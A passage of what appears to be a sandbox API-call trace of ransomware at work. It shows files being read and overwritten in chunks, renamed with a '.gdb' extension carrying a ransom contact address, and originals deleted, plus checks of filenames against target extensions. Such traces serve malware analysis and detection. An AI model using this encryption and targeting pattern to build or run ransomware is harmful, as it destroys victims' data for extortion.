(in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fad4 | out: lpNewFilePointer=0x0) returned 1 [0130.439] ReadFile (in: hFile=0x204, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fae0, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x307fae0*=0x40000, lpOverlapped=0x0) returned 1 [0130.443] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x307fad4 | out: lpNewFilePointer=0x0) returned 1 [0130.444] ReadFile (in: hFile=0x204, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fae0, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x307fae0*=0x40000, lpOverlapped=0x0) returned 1 [0130.447] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x307fb14 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.447] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x307fad4 | out: lpNewFilePointer=0x0) returned 1 [0130.447] ReadFile (in: hFile=0x204, lpBuffer=0x36f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fae0, lpOverlapped=0x0 | out: lpBuffer=0x36f0058*, lpNumberOfBytesRead=0x307fae0*=0x40000, lpOverlapped=0x0) returned 1 [0130.475] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0130.475] WriteFile (in: hFile=0x204, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x307fb58, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb58*=0xc0100, lpOverlapped=0x0) returned 1 [0130.667] SetEndOfFile (hFile=0x204) returned 1 [0130.667] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fb24 | out: lpNewFilePointer=0x0) returned 1 [0130.667] WriteFile (in: hFile=0x204, lpBuffer=0x38d9fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fb30, lpOverlapped=0x0 | out: lpBuffer=0x38d9fe0*, lpNumberOfBytesWritten=0x307fb30*=0x40000, lpOverlapped=0x0) returned 1 [0130.669] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x307fb24 | out: lpNewFilePointer=0x0) returned 1 [0130.669] WriteFile (in: hFile=0x204, lpBuffer=0x38d9fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fb30, lpOverlapped=0x0 | out: lpBuffer=0x38d9fe0*, lpNumberOfBytesWritten=0x307fb30*=0x40000, lpOverlapped=0x0) returned 1 [0130.671] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x307fb24 | out: lpNewFilePointer=0x0) returned 1 [0130.671] WriteFile (in: hFile=0x204, lpBuffer=0x38d9fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fb30, lpOverlapped=0x0 | out: lpBuffer=0x38d9fe0*, lpNumberOfBytesWritten=0x307fb30*=0x40000, lpOverlapped=0x0) returned 1 [0130.673] CloseHandle (hObject=0x204) returned 1 [0130.674] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0130.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0130.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0130.675] lstrlenW (lpString=".doc") returned 4 [0130.675] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0130.675] lstrlenW (lpString=".docx") returned 5 [0130.675] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0130.675] lstrlenW (lpString=".pdf") returned 4 [0130.675] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0130.675] lstrlenW (lpString=".xls") returned 4 [0130.675] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0130.675] lstrlenW (lpString=".xlsx") returned 5 [0130.675] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0130.675] lstrlenW (lpString=".ppt") returned 4 [0130.675] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0130.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0130.675] lstrlenW (lpString=".zip") returned 4 [0130.675] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0130.675] lstrlenW (lpString=".rar") returned 4 [0130.675] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0130.675] lstrlenW (lpString=".bz2") returned 4 [0130.675] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0130.675] lstrlenW (lpString=".7z") returned 3 [0130.675] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0130.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0130.675] lstrlenW (lpString=".dbf") returned 4 [0130.675] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0130.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0130.675] lstrlenW (lpString=".1cd") returned 4 [0130.675] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0130.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0130.675] lstrlenW (lpString=".jpg") returned 4 [0130.675] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0130.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0130.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0130.676] lstrlenW (lpString=".doc") returned 4 [0130.676] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0130.676] lstrlenW (lpString=".docx") returned 5 [0130.676] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0130.676] lstrlenW (lpString=".pdf") returned 4 [0130.676] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0130.676] lstrlenW (lpString=".xls") returned 4 [0130.676] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0130.676] lstrlenW (lpString=".xlsx") returned 5 [0130.676] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0130.676] lstrlenW (lpString=".ppt") returned 4 [0130.676] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0130.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0130.676] lstrlenW (lpString=".zip") returned 4 [0130.676] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0130.676] lstrlenW (lpString=".rar") returned 4 [0130.676] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0130.676] lstrlenW (lpString=".bz2") returned 4 [0130.676] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0130.676] lstrlenW (lpString=".7z") returned 3 [0130.676] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0130.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0130.676] lstrlenW (lpString=".dbf") returned 4 [0130.676] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0130.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0130.676] lstrlenW (lpString=".1cd") returned 4 [0130.676] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0130.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0130.676] lstrlenW (lpString=".jpg") returned 4 [0130.676] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0130.677] lstrcmpiW (lpString1=".dll", lpString2=".gdb") returned -1 [0130.677] lstrlenW (lpString="osetup.dll") returned 10 [0130.677] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0131.217] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=7378792) returned 1 [0131.217] CloseHandle (hObject=0x1d4) returned 1 [0131.217] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0131.217] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0131.217] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0131.218] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0131.219] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fb14 | out: lpNewFilePointer=0x0) returned 1 [0131.219] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fad4 | out: lpNewFilePointer=0x0) returned 1 [0131.219] ReadFile (in: hFile=0x1d4, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fae0, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x307fae0*=0x40000, lpOverlapped=0x0) returned 1 [0131.223] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x307fad4 | out: lpNewFilePointer=0x0) returned 1 [0131.223] ReadFile (in: hFile=0x1d4, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fae0, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x307fae0*=0x40000, lpOverlapped=0x0) returned 1 [0131.227] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x307fb14 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.227] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x307fad4 | out: lpNewFilePointer=0x0) returned 1 [0131.227] ReadFile (in: hFile=0x1d4, lpBuffer=0x36f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fae0, lpOverlapped=0x0 | out: lpBuffer=0x36f0058*, lpNumberOfBytesRead=0x307fae0*=0x40000, lpOverlapped=0x0) returned 1 [0131.250] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0131.250] WriteFile (in: hFile=0x1d4, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x307fb58, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb58*=0xc0100, lpOverlapped=0x0) returned 1 [0131.260] SetEndOfFile (hFile=0x1d4) returned 1 [0131.260] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fb24 | out: lpNewFilePointer=0x0) returned 1 [0131.260] WriteFile (in: hFile=0x1d4, lpBuffer=0x38d9fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fb30, lpOverlapped=0x0 | out: lpBuffer=0x38d9fe0*, lpNumberOfBytesWritten=0x307fb30*=0x40000, lpOverlapped=0x0) returned 1 [0131.261] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x307fb24 | out: lpNewFilePointer=0x0) returned 1 [0131.261] WriteFile (in: hFile=0x1d4, lpBuffer=0x38d9fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fb30, lpOverlapped=0x0 | out: lpBuffer=0x38d9fe0*, lpNumberOfBytesWritten=0x307fb30*=0x40000, lpOverlapped=0x0) returned 1 [0131.263] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x307fb24 | out: lpNewFilePointer=0x0) returned 1 [0131.263] WriteFile (in: hFile=0x1d4, lpBuffer=0x38d9fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fb30, lpOverlapped=0x0 | out: lpBuffer=0x38d9fe0*, lpNumberOfBytesWritten=0x307fb30*=0x40000, lpOverlapped=0x0) returned 1 [0131.409] CloseHandle (hObject=0x1d4) returned 1 [0131.409] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0131.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0131.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0131.409] lstrlenW (lpString=".doc") returned 4 [0131.409] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0131.409] lstrlenW (lpString=".docx") returned 5 [0131.409] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0131.409] lstrlenW (lpString=".pdf") returned 4 [0131.409] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0131.409] lstrlenW (lpString=".xls") returned 4 [0131.409] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0131.409] lstrlenW (lpString=".xlsx") returned 5 [0131.409] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0131.409] lstrlenW (lpString=".ppt") returned 4 [0131.409] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0131.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0131.409] lstrlenW (lpString=".zip") returned 4 [0131.410] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0131.410] lstrlenW (lpString=".rar") returned 4 [0131.410] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0131.410] lstrlenW (lpString=".bz2") returned 4 [0131.410] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0131.410] lstrlenW (lpString=".7z") returned 3 [0131.410] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0131.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0131.410] lstrlenW (lpString=".dbf") returned 4 [0131.410] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0131.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0131.410] lstrlenW (lpString=".1cd") returned 4 [0131.410] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0131.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0131.410] lstrlenW (lpString=".jpg") returned 4 [0131.410] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0131.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0131.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0131.410] lstrlenW (lpString=".doc") returned 4 [0131.410] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0131.410] lstrlenW (lpString=".docx") returned 5 [0131.410] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0131.410] lstrlenW (lpString=".pdf") returned 4 [0131.410] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0131.410] lstrlenW (lpString=".xls") returned 4 [0131.410] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0131.410] lstrlenW (lpString=".xlsx") returned 5 [0131.410] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0131.410] lstrlenW (lpString=".ppt") returned 4 [0131.410] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0131.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0131.410] lstrlenW (lpString=".zip") returned 4 [0131.410] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0131.410] lstrlenW (lpString=".rar") returned 4 [0131.410] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0131.410] lstrlenW (lpString=".bz2") returned 4 [0131.410] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0131.410] lstrlenW (lpString=".7z") returned 3 [0131.410] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0131.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0131.410] lstrlenW (lpString=".dbf") returned 4 [0131.410] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0131.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0131.411] lstrlenW (lpString=".1cd") returned 4 [0131.411] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0131.411] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0131.411] lstrlenW (lpString=".jpg") returned 4 [0131.411] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0131.411] lstrcmpiW (lpString1=".DLL", lpString2=".gdb") returned -1 [0131.411] lstrlenW (lpString="EEINTL.DLL") returned 10 [0131.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0131.411] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=64096) returned 1 [0131.411] CloseHandle (hObject=0x1d4) returned 1 [0131.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 0x20 [0131.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0131.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0131.412] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0131.412] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0131.412] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0131.412] GetLastError () returned 0x0 [0131.412] ReadFile (in: hFile=0x1d4, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0xfa60, lpOverlapped=0x0) returned 1 [0131.452] WriteFile (in: hFile=0x208, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xfa70, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0xfa70, lpOverlapped=0x0) returned 1 [0131.453] ReadFile (in: hFile=0x1d4, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x0, lpOverlapped=0x0) returned 1 [0131.453] WriteFile (in: hFile=0x208, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0xe8, lpOverlapped=0x0) returned 1 [0131.453] SetEndOfFile (hFile=0x208) returned 1 [0131.454] CloseHandle (hObject=0x208) returned 1 [0131.454] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0131.454] SetEndOfFile (hFile=0x1d4) returned 1 [0131.455] CloseHandle (hObject=0x1d4) returned 1 [0131.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0131.455] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 1 [0131.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0131.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0131.455] lstrlenW (lpString=".doc") returned 4 [0131.455] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0131.455] lstrlenW (lpString=".docx") returned 5 [0131.455] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0131.455] lstrlenW (lpString=".pdf") returned 4 [0131.455] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0131.455] lstrlenW (lpString=".xls") returned 4 [0131.455] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0131.455] lstrlenW (lpString=".xlsx") returned 5 [0131.455] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0131.455] lstrlenW (lpString=".ppt") returned 4 [0131.455] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0131.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0131.455] lstrlenW (lpString=".zip") returned 4 [0131.455] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0131.456] lstrlenW (lpString=".rar") returned 4 [0131.456] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0131.456] lstrlenW (lpString=".bz2") returned 4 [0131.456] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0131.456] lstrlenW (lpString=".7z") returned 3 [0131.456] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0131.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0131.456] lstrlenW (lpString=".dbf") returned 4 [0131.456] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0131.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0131.456] lstrlenW (lpString=".1cd") returned 4 [0131.456] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0131.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0131.456] lstrlenW (lpString=".jpg") returned 4 [0131.456] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0131.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0131.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0131.456] lstrlenW (lpString=".doc") returned 4 [0131.456] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0131.456] lstrlenW (lpString=".docx") returned 5 [0131.456] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0131.456] lstrlenW (lpString=".pdf") returned 4 [0131.456] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0131.456] lstrlenW (lpString=".xls") returned 4 [0131.456] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0131.456] lstrlenW (lpString=".xlsx") returned 5 [0131.456] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0131.456] lstrlenW (lpString=".ppt") returned 4 [0131.456] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0131.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0131.456] lstrlenW (lpString=".zip") returned 4 [0131.456] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0131.456] lstrlenW (lpString=".rar") returned 4 [0131.456] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0131.456] lstrlenW (lpString=".bz2") returned 4 [0131.456] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0131.456] lstrlenW (lpString=".7z") returned 3 [0131.456] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0131.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 